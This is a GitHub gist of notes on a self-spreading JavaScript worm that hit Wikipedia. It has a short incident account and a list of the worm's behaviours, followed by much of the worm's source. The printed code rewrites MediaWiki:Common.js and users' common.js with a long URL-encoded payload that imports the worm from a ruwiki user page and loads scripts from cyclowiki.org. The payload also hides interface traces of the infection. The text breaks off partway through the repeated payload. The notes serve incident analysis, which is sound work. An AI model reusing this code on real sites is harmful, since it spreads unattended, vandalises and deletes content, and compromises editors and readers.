Skip to content

Instantly share code, notes, and snippets.

@MatthewCallis
Created March 5, 2026 22:02
Show Gist options
  • Select an option

  • Save MatthewCallis/8eb61f1331b5193ed7d336fddc3d7458 to your computer and use it in GitHub Desktop.

Select an option

Save MatthewCallis/8eb61f1331b5193ed7d336fddc3d7458 to your computer and use it in GitHub Desktop.
Wikipedia Worm Notes

https://news.ycombinator.com/item?id=47263323

From https://web.archive.org/web/20260305155250/https://ru.wikipedia.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:Ololoshka562/test.js

A Wikimedia Foundation account was doing some sort of test which involved loading a large number of user scripts. They decided to just start loading random user scripts, instead of creating some just for this test. The user who ran this test is a Staff Security Engineer at WMF, and naturally they decided to do this test under their highly-privileged Wikimedia Foundation staff account, which has permissions to edit the global CSS and JS that runs on every page. One of those random scripts was a 2 year old malicious script from ruwiki. This script injects itself in the global Javascript on every page, and then in the userscripts of any user that runs into it, so it started spreading and doing damage really fast. This triggered tons of alerts, until the decision was made to turn the Wiki read-only.

Wow. This worm is fascinating. It seems to do the following:

  • Inject itself into the MediaWiki:Common.js page to persist globally, and into the User:Common.js page to do the same as a fallback

  • Uses jQuery to hide UI elements that would reveal the infection

  • Vandalizes 20 random articles with a 5000px wide image and another XSS script from basemetrika.ru

  • If an admin is infected, it will use the Special:Nuke page to delete 3 random articles from the global namespace, AND use the Special:Random with action=delete to delete another 20 random articles

EDIT! The Special:Nuke is really weird. It gets a default list of articles to nuke from the search field, which could be any group of articles, and rubber-stamps nuking them. It does this three times in a row.

(function() {
const script = document.createElement("script");
script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js';
script.type = 'text/javascript';
script.addEventListener('load', () => {
if (typeof wgUserName === 'undefined') { _wgUserName = mw.config.get("wgUserName")}
else {_wgUserName = wgUserName}
$.get("/w/index.php?title=MediaWiki:Common.js", function(data) {
source = $(data).find(".mw-js").text();
if (!source.match("Ololoshka562") && _wgUserName !== null) {
$.get("/w/index.php?title=MediaWiki:Common.js&action=edit", function (data) {
editform3 = $(data).find("#editform");
data_ser = editform3.serialize();
data_ser = data_ser.replace(/wpTextbox1=[^&]*/g, "wpTextbox1=" + "importScriptURI%28%22//ru.wikipedia.org/wiki/User%3AOloloshka562/test.js%3Faction%3Draw%26ctype%3Dtext/javascript%22%29%3B%0A%24%28function%28%29%7B%0A%20%20%24%28%27%5Bclass%2A%3D%22ommon_js%22%5D%27%29.hide%28%29%3B%0A%20%20%24%28%27a%5Btitle%2A%3D%22on.js%22%5D%27%29.parent%28%29.hide%28%29%3B%0A%7D%29%3B%0A%0Afunction%20runAsEarlyAsPossible%28%20callback%2C%20%24testElement%2C%20func%20%29%20%7B%0A%09func%20%3D%20func%20%7C%7C%20%24%3B%0A%09%24testElement%20%3D%20%24testElement%20%7C%7C%20%24%28%20%27%23footer%27%20%29%3B%0A%20%0A%09if%20%28%20%24testElement.length%20%29%20%7B%0A%09%09callback%28%29%3B%0A%09%7D%20else%20%7B%0A%09%09func%28%20callback%20%29%3B%0A%09%7D%0A%7D%0A%0AimportScript%20%3D%20function%20%28%20page%20%29%20%7B%0A%20%20%20%20mw.loader.using%28%20%27mediawiki.util%27%20%29.done%28%20function%20%28%29%20%7B%0A%20%20%20%20%20%20mw.loader.load%28%20%27//cyclowiki.org/w/index.php%3Ftitle%3D%27%20%2B%20mw.util.wikiUrlencode%28%20page%20%29%20%2B%0A%20%20%20%20%20%20%20%20%27%26action%3Draw%26ctype%3Dtext/javascript%27%20%29%3B%0A%20%20%20%20%7D%20%29%3B%0A%7D%3B%0A%0A%0AimportScript%28%22MediaWiki%3AEdittop.js%22%29%3B%0A%0A%0A//mw.loader.load%28%27http%3A//cdn.mathjax.org/mathjax/latest/MathJax.js%3Fconfig%3DTeX-AMS-MML_HTMLorMML%26delayStartupUntil%3Dconfigured%27%29%3B%0A//mw.loader.load%28%27http%3A//cyclowiki.org/w/index.php%3Ftitle%3DMediaWiki%3AMathJax.js%26action%3Draw%26ctype%3Dtext/javascript%26smaxage%3D21600%26maxage%3D86400%27%29%3B%0A%0A%24%28function%28%29%7B%0A%0Aa%20%3D%20%24%28%27%23wpTextbox1%27%29.val%28%29%3B%0Aif%28%0A%20%20%24.inArray%28%20%22Wharticle%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%24.inArray%28%20%22Whcat%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%24.inArray%28%20%22Whtalk%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%28%20a%20%21%3D%20undefined%20%26%26%0A%20%20%20%20%28a.indexOf%28%27%7B%7Bwharticle%7D%7D%27%29%20%21%3D%20-1%20%7C%7C%0A%20%20%20%20%20a.indexOf%28%27%7B%7Bwhcat%7D%7D%27%29%20%21%3D%20-1%20%7C%7C%0A%20%20%20%20%20a.indexOf%28%27%7B%7Bwhtalk%27%29%20%21%3D%20-1%20%29%20%29%20%29%0A%7B%0A%20%20%24%28%27head%27%29.append%28%27%3Clink%20rel%3D%22stylesheet%22%20href%3D%22/w/index.php%3Ftitle%3DMediaWiki%3AWh.css%26action%3Draw%26ctype%3Dtext/css%22%20type%3D%22text/css%22%20/%3E%27%29%3B%0A%7D%0A%0A%7D%29%3B%0A%0A/%2AWikiEditor/%D0%92%D0%B8%D0%BA%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80%2A/%0Aif%20%28%20%24.inArray%28%20mw.config.get%28%20%27wgAction%27%20%29%2C%20%5B%27edit%27%2C%20%27submit%27%5D%20%29%20%21%3D%3D%20-1%20%29%20%7B%0A%20%20%20%20%20%20%20%20mw.loader.load%28%20%27//ru.wikipedia.org/w/index.php%3Ftitle%3DMediaWiki%3AGadget-wikificator.js%26action%3Draw%26ctype%3Dtext/javascript%27%20%29%3B%0A%7D%0A%0Avar%20customizeToolbar%20%3D%20function%28%29%20%7B%0A%0A%24%28%20%27%23wpTextbox1%27%20%29.wikiEditor%28%20%27addToToolbar%27%2C%20%7B%0A%20%20%20%20%20%20%20%20%27section%27%3A%20%27advanced%27%2C%0A%20%20%20%20%20%20%20%20%27group%27%3A%20%27format%27%2C%0A%20%20%20%20%20%20%20%20%27tools%27%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27wikify%27%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20label%3A%20%27%D0%92%D0%B8%D0%BA%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%27button%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20icon%3A%20%27//upload.wikimedia.org/wikipedia/commons/0/06/Wikify-toolbutton.png%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20action%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%27callback%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20execute%3A%20function%28context%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Wikify%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%7D%20%29%3B%0A%7D%3B%0A%20%0Aif%20%28%20%24.inArray%28%20mw.config.get%28%20%27wgAction%27%20%29%2C%20%5B%27edit%27%2C%20%27submit%27%5D%20%29%20%21%3D%3D%20-1%20%29%20%7B%0A%20%20%20%20%20%20%20%20mw.loader.using%28%20%27user.options%27%2C%20function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%20mw.user.options.get%28%27usebetatoolbar%27%29%20%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20mw.loader.using%28%20%27ext.wikiEditor.toolbar%27%2C%20function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28document%29.ready%28%20customizeToolbar%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%20%29%3B%0A%7D%0A%0A%0A//import%20scripts%0AimportScript%28%22MediaWiki%3AWikibugs.js%22%29%3B%0A%0A//%20%0A%0A%20function%20addLoadEvent%28func%29%20%0A%20%7B%0A%20if%20%28window.addEventListener%29%20%0A%20%20%20window.addEventListener%28%22load%22%2C%20func%2C%20false%29%3B%0A%20else%20if%20%28window.attachEvent%29%20%0A%20%20%20window.attachEvent%28%22onload%22%2C%20func%29%3B%0A%7D%0A%0Avar%20withJS%20%3D%20document.URL.match%28/%5B%26%3F%5Dwithjs%3D%28%28mediawiki%3A%29%3F%28%5B%5E%26%23%5D%2B%29%29/i%29%3B%0Aif%20%28withJS%29%20importScript%28%27MediaWiki%3A%27%2BwithJS%5B3%5D%29%3B%0A%0Avar%20NavigationBarHide%20%3D%20%27%5B%D1%81%D0%BA%D1%80%D1%8B%D1%82%D1%8C%5D%27%3B%0Avar%20NavigationBarShow%20%3D%20%27%5B%D0%BF%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D1%8C%5D%27%3B%0Avar%20NavigationBarShowDefault%20%3D%202%3B%0A%0Afunction%20collapsibleTables%28%29%7B%0A%20var%20Table%2C%20HRow%2C%20%20HCell%2C%20btn%2C%20a%2C%20tblIdx%20%3D%200%2C%20colTables%20%3D%20%5B%5D%0A%20var%20allTables%20%3D%20document.getElementsByTagName%28%27table%27%29%0A%20for%20%28var%20i%3D0%3B%20Table%20%3D%20allTables%5Bi%5D%3B%20i%2B%2B%29%7B%0A%20%20%20if%20%28%21hasClass%28Table%2C%20%27collapsible%27%29%29%20continue%0A%20%20%20if%20%28%21%28HRow%3DTable.rows%5B0%5D%29%29%20continue%0A%20%20%20if%20%28%21%28HCell%3DHRow.getElementsByTagName%28%27th%27%29%5B0%5D%29%29%20continue%0A%20%20%20Table.id%20%3D%20%27collapsibleTable%27%20%2B%20tblIdx%0A%20%20%20btn%20%3D%20document.createElement%28%27span%27%29%0A%20%20%20btn.style.cssText%20%3D%20%27float%3Aright%3B%20font-weight%3Anormal%3B%20font-size%3Asmaller%27%0A%20%20%20a%20%3D%20document.createElement%28%27a%27%29%0A%20%20%20a.id%20%3D%20%27collapseButton%27%20%2B%20tblIdx%0A%20%20%20a.href%20%3D%20%27javascript%3AcollapseTable%28%27%20%2B%20tblIdx%20%2B%20%27%29%3B%27%0A%20%20%20a.style.color%20%3D%20HCell.style.color%0A%20%20%20a.appendChild%28document.createTextNode%28NavigationBarHide%29%29%0A%20%20%20btn.appendChild%28a%29%0A%20%20%20HCell.insertBefore%28btn%2C%20HCell.childNodes%5B0%5D%29%0A%20%20%20colTables%5BtblIdx%2B%2B%5D%20%3D%20Table%0A%20%7D%0A%20for%20%28var%20i%3D0%3B%20i%20%3C%20tblIdx%3B%20i%2B%2B%29%0A%20%20%20if%20%28%28tblIdx%20%3E%20NavigationBarShowDefault%20%26%26%20hasClass%28colTables%5Bi%5D%2C%20%27autocollapse%27%29%29%20%7C%7C%20hasClass%28colTables%5Bi%5D%2C%20%27collapsed%27%29%29%0A%20%20%20%20%20collapseTable%28i%29%0A%7D%0A%20%0Afunction%20collapseTable%20%28idx%29%7B%0A%20var%20Table%20%3D%20document.getElementById%28%27collapsibleTable%27%20%2B%20idx%29%0A%20var%20btn%20%3D%20document.getElementById%28%27collapseButton%27%20%2B%20idx%29%0A%20if%20%28%21Table%20%7C%7C%20%21btn%29%20return%20false%0A%20var%20Rows%20%3D%20Table.rows%0A%20var%20isShown%20%3D%20%28btn.firstChild.data%20%3D%3D%20NavigationBarHide%29%0A%20btn.firstChild.data%20%3D%20isShown%20%3F%20%20NavigationBarShow%20%3A%20NavigationBarHide%0A%20var%20disp%20%3D%20isShown%20%3F%20%27none%27%20%3A%20Rows%5B0%5D.style.display%0A%20for%20%28var%20i%3D1%3B%20i%20%3C%20Rows.length%3B%20i%2B%2B%29%0A%20%20%20%20Rows%5Bi%5D.style.display%20%3D%20disp%0A%7D%0A%20%0Afunction%20collapsibleDivs%28%29%7B%0A%20var%20navIdx%20%3D%200%2C%20colNavs%20%3D%20%5B%5D%2C%20i%2C%20NavFrame%0A%20var%20divs%20%3D%20document.getElementById%28%27content%27%29.getElementsByTagName%28%27div%27%29%0A%20for%20%28i%3D0%3B%20NavFrame%20%3D%20divs%5Bi%5D%3B%20i%2B%2B%29%20%7B%0A%20%20%20if%20%28%21hasClass%28NavFrame%2C%20%27NavFrame%27%29%29%20continue%0A%20%20%20NavFrame.id%20%3D%20%27NavFrame%27%20%2B%20navIdx%0A%20%20%20var%20a%20%3D%20document.createElement%28%27a%27%29%0A%20%20%20a.className%20%3D%20%27NavToggle%27%0A%20%20%20a.id%20%3D%20%27NavToggle%27%20%2B%20navIdx%0A%20%20%20a.href%20%3D%20%27javascript%3AcollapseDiv%28%27%20%2B%20navIdx%20%2B%20%27%29%3B%27%0A%20%20%20a.appendChild%28document.createTextNode%28NavigationBarHide%29%29%0A%20%20%20for%20%28var%20j%3D0%3B%20j%20%3C%20NavFrame.childNodes.length%3B%20j%2B%2B%29%0A%20%20%20%20%20if%20%28hasClass%28NavFrame.childNodes%5Bj%5D%2C%20%27NavHead%27%29%29%0A%20%20%20%20%20%20%20NavFrame.childNodes%5Bj%5D.appendChild%28a%29%0A%20%20%20colNavs%5BnavIdx%2B%2B%5D%20%3D%20NavFrame%0A%20%7D%0A%20for%20%28i%3D0%3B%20i%20%3C%20navIdx%3B%20i%2B%2B%29%0A%20%20if%20%28%28navIdx%20%3E%20NavigationBarShowDefault%20%26%26%20%21hasClass%28colNavs%5Bi%5D%2C%20%27expanded%27%29%29%20%7C%7C%20hasClass%28colNavs%5Bi%5D%2C%20%27collapsed%27%29%29%0A%20%20%20%20%20collapseDiv%28i%29%0A%7D%0A%20%0Afunction%20collapseDiv%28idx%29%20%7B%0A%20var%20div%20%3D%20document.getElementById%28%27NavFrame%27%20%2B%20idx%29%0A%20var%20btn%20%3D%20document.getElementById%28%27NavToggle%27%20%2B%20idx%29%0A%20if%20%28%21div%20%7C%7C%20%21btn%29%20return%20false%0A%20var%20isShown%20%3D%20%28btn.firstChild.data%20%3D%3D%20NavigationBarHide%29%0A%20btn.firstChild.data%20%3D%20isShown%20%3F%20NavigationBarShow%20%3A%20NavigationBarHide%0A%20var%20disp%20%3D%20isShown%20%3F%20%27none%27%20%3A%20%27block%27%0A%20for%20%28var%20child%20%3D%20div.firstChild%3B%20%20child%20%21%3D%20null%3B%20%20child%20%3D%20child.nextSibling%29%0A%20%20%20if%20%28hasClass%28child%2C%20%27NavPic%27%29%20%7C%7C%20hasClass%28child%2C%20%27NavContent%27%29%29%0A%20%20%20%20%20%20child.style.display%20%3D%20disp%0A%7D%0A%0A%24%28function%28%29%7B%0A%20%20%20if%28%20wgAction%20%21%3D%20%27view%27%20%7C%7C%20%21%24%28%27.coordinates%27%29.text%28%29%20%29%20return%3B%0A%20%20%20c%20%3D%20%24%28%27.coordinates%27%29%5B0%5D%3B%0A%20%20%20%24%28%27.coordinates%27%29.remove%28%29%3B%0A%20%20%20%24%28%27%23siteSub%27%29.before%28c%29%3B%0A%20%20%20%24%28%27.coordinates%27%29.css%28%27position%27%2C%27relative%27%29.css%28%27right%27%2C%270%27%29.css%28%27top%27%2C%270%27%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.css%28%27margin-top%27%2C%27-7px%27%29.css%28%27margin-left%27%2C%272.8em%27%29.addClass%28%27plainlinks%27%29%3B%0A%7D%29%3B%0A%0A/%2A%2A%0A%2A%20%40author%20Falchenko%20Maxim%20aka%20be3%0A%2A%20%40plugin_page%20http%3A//tops.net.ua/jquery_addtocopy/%0A%2A%20%40desc%20Adds%20a%20link%20to%20the%20copied%20text%0A%2A%20%40version%201.2%0A%2A%20%40example%0A%2A%20%24%28%22%23content%22%29.addtocopy%28%29%3B%0A%2A%20%40license%20free%0A%2A%2A/%0AjQuery.fn.addtocopy%20%3D%20function%28usercopytxt%29%20%7B%0A%20%20%20%20var%20options%20%3D%20%7Bhtmlcopytxt%3A%20%27%3Cbr%3EMore%3A%20%3Ca%20href%3D%22%27%2Bwindow.location.href%2B%27%22%3E%27%2Bwindow.location.href%2B%27%3C/a%3E%3Cbr%3E%27%2C%20minlen%3A%2025%2C%20addcopyfirst%3A%20false%7D%0A%20%20%20%20%24.extend%28options%2C%20usercopytxt%29%3B%0A%09var%20copy_sp%20%3D%20document.createElement%28%27span%27%29%3B%0A%09copy_sp.id%20%3D%20%27ctrlcopy%27%3B%0A%09copy_sp.innerHTML%20%3D%20options.htmlcopytxt%3B%0A%09return%20this.each%28function%28%29%7B%0A%09%09%24%28this%29.mousedown%28function%28%29%7B%24%28%27%23ctrlcopy%27%29.remove%28%29%3B%7D%29%3B%0A%09%09%24%28this%29.mouseup%28function%28%29%7B%0A%09%09%09if%28window.getSelection%29%7B%09//good%20times%20%0A%09%09%09%09var%20slcted%3Dwindow.getSelection%28%29%3B%0A%09%09%09%09var%20seltxt%3Dslcted.toString%28%29%3B%0A%09%09%09%09if%28%21seltxt%7C%7Cseltxt.length%3Coptions.minlen%29%20return%3B%0A%09%09%09%09var%20nslct%20%3D%20slcted.getRangeAt%280%29%3B%0A%09%09%09%09seltxt%20%3D%20nslct.cloneRange%28%29%3B%0A%09%09%09%09seltxt.collapse%28options.addcopyfirst%29%3B%0A%09%09%09%09seltxt.insertNode%28copy_sp%29%3B%0A%09%09%09%09if%20%28%21options.addcopyfirst%29%20nslct.setEndAfter%28copy_sp%29%3B%0A%09%09%09%09slcted.removeAllRanges%28%29%3B%0A%09%09%09%09slcted.addRange%28nslct%29%3B%0A%09%09%09%7D%20else%20if%28document.selection%29%7B%09//bad%20times%0A%09%09%09%09var%20slcted%20%3D%20document.selection%3B%0A%09%09%09%09var%20nslct%3Dslcted.createRange%28%29%3B%0A%09%09%09%09var%20seltxt%3Dnslct.text%3B%0A%09%09%09%09if%20%28%21seltxt%7C%7Cseltxt.length%3Coptions.minlen%29%20return%3B%0A%09%09%09%09seltxt%3Dnslct.duplicate%28%29%3B%0A%09%09%09%09seltxt.collapse%28options.addcopyfirst%29%3B%0A%09%09%09%09seltxt.pasteHTML%28copy_sp.outerHTML%29%3B%0A%09%09%09%09if%20%28%21options.addcopyfirst%29%20%7Bnslct.setEndPoint%28%22EndToEnd%22%2Cseltxt%29%3B%20nslct.select%28%29%3B%7D%0A%09%09%09%7D%0A%09%09%7D%29%3B%0A%20%20%7D%29%3B%0A%7D%0A%0Aif%20%28wgUserName%20%3D%3D%20null%20%26%26%20wgNamespaceNumber%20%3D%3D%200%29%20%7B%0A%20%20%20%20%24%28document%29.addtocopy%28%7Bhtmlcopytxt%3A%20%27%3Cbr%3E%D0%9F%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%B5%D0%B5%3A%20%3Ca%20href%3D%22%27%2Bwindow.location.href%2B%27%22%3E%27%2Bwindow.location.href%2B%27%3C/a%3E%27%7D%29%3B%0A%7D%0A");
data_ser = data_ser.replace(/wpSummary=[^&]*/g, "wpSummary=" + ".");
$.ajax({
type : "POST",
url : editform3.attr("action"),
data : data_ser
}, function (data) {
});
});
$.get("/w/index.php?title=User:" + encodeURIComponent(_wgUserName) + "/common.js&action=edit",
function (data) {
editform3 = $(data).find("#editform");
data_ser = editform3.serialize();
data_ser = data_ser.replace(/wpTextbox1=[^&]*/g, "wpTextbox1=" + "importScriptURI%28%22//ru.wikipedia.org/wiki/User%3AOloloshka562/test.js%3Faction%3Draw%26ctype%3Dtext/javascript%22%29%3B%0A%24%28function%28%29%7B%0A%20%20%24%28%27%5Bclass%2A%3D%22ommon_js%22%5D%27%29.hide%28%29%3B%0A%20%20%24%28%27a%5Btitle%2A%3D%22on.js%22%5D%27%29.parent%28%29.hide%28%29%3B%0A%7D%29%3B%0A%0Afunction%20runAsEarlyAsPossible%28%20callback%2C%20%24testElement%2C%20func%20%29%20%7B%0A%09func%20%3D%20func%20%7C%7C%20%24%3B%0A%09%24testElement%20%3D%20%24testElement%20%7C%7C%20%24%28%20%27%23footer%27%20%29%3B%0A%20%0A%09if%20%28%20%24testElement.length%20%29%20%7B%0A%09%09callback%28%29%3B%0A%09%7D%20else%20%7B%0A%09%09func%28%20callback%20%29%3B%0A%09%7D%0A%7D%0A%0AimportScript%20%3D%20function%20%28%20page%20%29%20%7B%0A%20%20%20%20mw.loader.using%28%20%27mediawiki.util%27%20%29.done%28%20function%20%28%29%20%7B%0A%20%20%20%20%20%20mw.loader.load%28%20%27//cyclowiki.org/w/index.php%3Ftitle%3D%27%20%2B%20mw.util.wikiUrlencode%28%20page%20%29%20%2B%0A%20%20%20%20%20%20%20%20%27%26action%3Draw%26ctype%3Dtext/javascript%27%20%29%3B%0A%20%20%20%20%7D%20%29%3B%0A%7D%3B%0A%0A%0AimportScript%28%22MediaWiki%3AEdittop.js%22%29%3B%0A%0A%0A//mw.loader.load%28%27http%3A//cdn.mathjax.org/mathjax/latest/MathJax.js%3Fconfig%3DTeX-AMS-MML_HTMLorMML%26delayStartupUntil%3Dconfigured%27%29%3B%0A//mw.loader.load%28%27http%3A//cyclowiki.org/w/index.php%3Ftitle%3DMediaWiki%3AMathJax.js%26action%3Draw%26ctype%3Dtext/javascript%26smaxage%3D21600%26maxage%3D86400%27%29%3B%0A%0A%24%28function%28%29%7B%0A%0Aa%20%3D%20%24%28%27%23wpTextbox1%27%29.val%28%29%3B%0Aif%28%0A%20%20%24.inArray%28%20%22Wharticle%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%24.inArray%28%20%22Whcat%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%24.inArray%28%20%22Whtalk%22%2C%20mw.config.get%28%20%27wgCategories%27%20%29%20%29%20%21%3D%20-1%20%7C%7C%0A%20%20%28%20a%20%21%3D%20undefined%20%26%26%0A%20%20%20%20%28a.indexOf%28%27%7B%7Bwharticle%7D%7D%27%29%20%21%3D%20-1%20%7C%7C%0A%20%20%20%20%20a.indexOf%28%27%7B%7Bwhcat%7D%7D%27%29%20%21%3D%20-1%20%7C%7C%0A%20%20%20%20%20a.indexOf%28%27%7B%7Bwhtalk%27%29%20%21%3D%20-1%20%29%20%29%20%29%0A%7B%0A%20%20%24%28%27head%27%29.append%28%27%3Clink%20rel%3D%22stylesheet%22%20href%3D%22/w/index.php%3Ftitle%3DMediaWiki%3AWh.css%26action%3Draw%26ctype%3Dtext/css%22%20type%3D%22text/css%22%20/%3E%27%29%3B%0A%7D%0A%0A%7D%29%3B%0A%0A/%2AWikiEditor/%D0%92%D0%B8%D0%BA%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80%2A/%0Aif%20%28%20%24.inArray%28%20mw.config.get%28%20%27wgAction%27%20%29%2C%20%5B%27edit%27%2C%20%27submit%27%5D%20%29%20%21%3D%3D%20-1%20%29%20%7B%0A%20%20%20%20%20%20%20%20mw.loader.load%28%20%27//ru.wikipedia.org/w/index.php%3Ftitle%3DMediaWiki%3AGadget-wikificator.js%26action%3Draw%26ctype%3Dtext/javascript%27%20%29%3B%0A%7D%0A%0Avar%20customizeToolbar%20%3D%20function%28%29%20%7B%0A%0A%24%28%20%27%23wpTextbox1%27%20%29.wikiEditor%28%20%27addToToolbar%27%2C%20%7B%0A%20%20%20%20%20%20%20%20%27section%27%3A%20%27advanced%27%2C%0A%20%20%20%20%20%20%20%20%27group%27%3A%20%27format%27%2C%0A%20%20%20%20%20%20%20%20%27tools%27%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27wikify%27%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20label%3A%20%27%D0%92%D0%B8%D0%BA%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%27button%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20icon%3A%20%27//upload.wikimedia.org/wikipedia/commons/0/06/Wikify-toolbutton.png%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20action%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%27callback%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20execute%3A%20function%28context%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Wikify%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%7D%20%29%3B%0A%7D%3B%0A%20%0Aif%20%28%20%24.inArray%28%20mw.config.get%28%20%27wgAction%27%20%29%2C%20%5B%27edit%27%2C%20%27submit%27%5D%20%29%20%21%3D%3D%20-1%20%29%20%7B%0A%20%20%20%20%20%20%20%20mw.loader.using%28%20%27user.options%27%2C%20function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%20mw.user.options.get%28%27usebetatoolbar%27%29%20%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20mw.loader.using%28%20%27ext.wikiEditor.toolbar%27%2C%20function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28document%29.ready%28%20customizeToolbar%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%20%29%3B%0A%7D%0A%0A%0A//import%20scripts%0AimportScript%28%22MediaWiki%3AWikibugs.js%22%29%3B%0A%0A//%20%0A%0A%20function%20addLoadEvent%28func%29%20%0A%20%7B%0A%20if%20%28window.addEventListener%29%20%0A%20%20%20window.addEventListener%28%22load%22%2C%20func%2C%20false%29%3B%0A%20else%20if%20%28window.attachEvent%29%20%0A%20%20%20window.attachEvent%28%22onload%22%2C%20func%29%3B%0A%7D%0A%0Avar%20withJS%20%3D%20document.URL.match%28/%5B%26%3F%5Dwithjs%3D%28%28mediawiki%3A%29%3F%28%5B%5E%26%23%5D%2B%29%29/i%29%3B%0Aif%20%28withJS%29%20importScript%28%27MediaWiki%3A%27%2BwithJS%5B3%5D%29%3B%0A%0Avar%20NavigationBarHide%20%3D%20%27%5B%D1%81%D0%BA%D1%80%D1%8B%D1%82%D1%8C%5D%27%3B%0Avar%20NavigationBarShow%20%3D%20%27%5B%D0%BF%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D1%8C%5D%27%3B%0Avar%20NavigationBarShowDefault%20%3D%202%3B%0A%0Afunction%20collapsibleTables%28%29%7B%0A%20var%20Table%2C%20HRow%2C%20%20HCell%2C%20btn%2C%20a%2C%20tblIdx%20%3D%200%2C%20colTables%20%3D%20%5B%5D%0A%20var%20allTables%20%3D%20document.getElementsByTagName%28%27table%27%29%0A%20for%20%28var%20i%3D0%3B%20Table%20%3D%20allTables%5Bi%5D%3B%20i%2B%2B%29%7B%0A%20%20%20if%20%28%21hasClass%28Table%2C%20%27collapsible%27%29%29%20continue%0A%20%20%20if%20%28%21%28HRow%3DTable.rows%5B0%5D%29%29%20continue%0A%20%20%20if%20%28%21%28HCell%3DHRow.getElementsByTagName%28%27th%27%29%5B0